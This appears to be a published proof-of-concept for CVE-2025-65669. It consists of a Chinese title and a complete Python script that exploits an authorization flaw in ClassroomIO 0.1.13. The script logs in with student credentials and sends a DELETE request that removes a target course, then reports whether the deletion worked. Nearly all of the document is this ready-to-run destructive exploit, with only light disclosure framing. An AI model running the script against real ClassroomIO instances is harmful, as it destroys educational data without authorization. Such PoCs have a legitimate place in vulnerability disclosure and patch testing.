CVE-2025-65669: ClassroomIO学生权限可删除任意课程漏洞

# CVE-2025-65669 PoC - ClassroomIO Unauthorized Course Deletion # This PoC demonstrates the IDOR vulnerability allowing student accounts to delete courses import requests import json TARGET_URL = "https://target-classroomio-instance.com" COURSE_ID = "12345" # Target course ID to delete def exploit_unauthorized_course_deletion(): """ Exploit the missing authorization check in course deletion endpoint. A student account can delete courses without admin privileges. """ # Login as student user (low-privilege account) login_url = f"{TARGET_URL}/api/auth/login" student_credentials = { "email": "[email protected]", "password": "student_password" } session = requests.Session() login_response = session.post(login_url, json=student_credentials) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return False print("[+] Successfully logged in as student user") # Attempt to delete course without admin privileges (IDOR vulnerability) delete_url = f"{TARGET_URL}/api/courses/{COURSE_ID}/delete" # No authorization header or admin token required delete_response = session.delete(delete_url) if delete_response.status_code == 200: print(f"[+] VULNERABLE: Course {COURSE_ID} deleted successfully without admin rights") print(f"[+] Response: {delete_response.text}") return True else: print(f"[-] Course deletion failed or protected: {delete_response.status_code}") return False def verify_vulnerability(): """ Verify the vulnerability exists by checking if authorization is enforced. """ print("=" * 60) print("CVE-2025-65669 Verification") print("ClassroomIO 0.1.13 - Unauthorized Course Deletion") print("=" * 60) # Check if delete endpoint requires authentication check_url = f"{TARGET_URL}/api/courses/{COURSE_ID}" response = requests.get(check_url) if response.status_code == 200: print("[+] Course exists and is accessible") # Attempt exploitation exploit_unauthorized_course_deletion() if __name__ == "__main__": verify_vulnerability()